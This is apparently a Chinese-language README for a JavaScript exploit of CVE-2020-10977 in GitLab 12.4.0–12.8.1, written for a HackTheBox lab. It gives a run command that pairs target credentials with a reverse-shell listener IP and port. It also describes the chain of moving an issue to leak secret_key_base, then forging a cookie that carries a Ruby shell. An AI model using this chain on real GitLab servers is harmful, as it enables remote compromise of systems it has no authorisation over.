CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE

完全基于 https://github.com/dotPY-hax/gitlab_RCE，但该工具对我来说无法正常工作，且其 HTML 解析部分显得繁琐，因此我用 JS 重写了它。

使用方法

按常规方式启动一个反向 Shell 监听器，然后运行此脚本：

TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

可通过 TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080" 指定代理。 使用 Burp 进行调试尤为方便。

工作机制

1. 检查目标是否在线
2. 如果提供的用户已存在，则跳转到第 5 步
3. 扫描一个不存在的用户名
4. 创建该用户
5. 尝试登录
6. 创建两个空项目
7. 在第一个项目中创建一个新 Issue，其正文包含一个恶意链接
8. 将该 Issue 移动到另一个项目，导致 GitLab 重写我们的恶意链接，并将链接指向的文件复制到 uploads 目录
9. 获取目标文件，此处我们需要 secrets.yml 中的 secret_key_base
10. 使用 secret_key_base 生成一个恶意 Cookie，携带我们的 Ruby Shell，并将其传递给 GitLab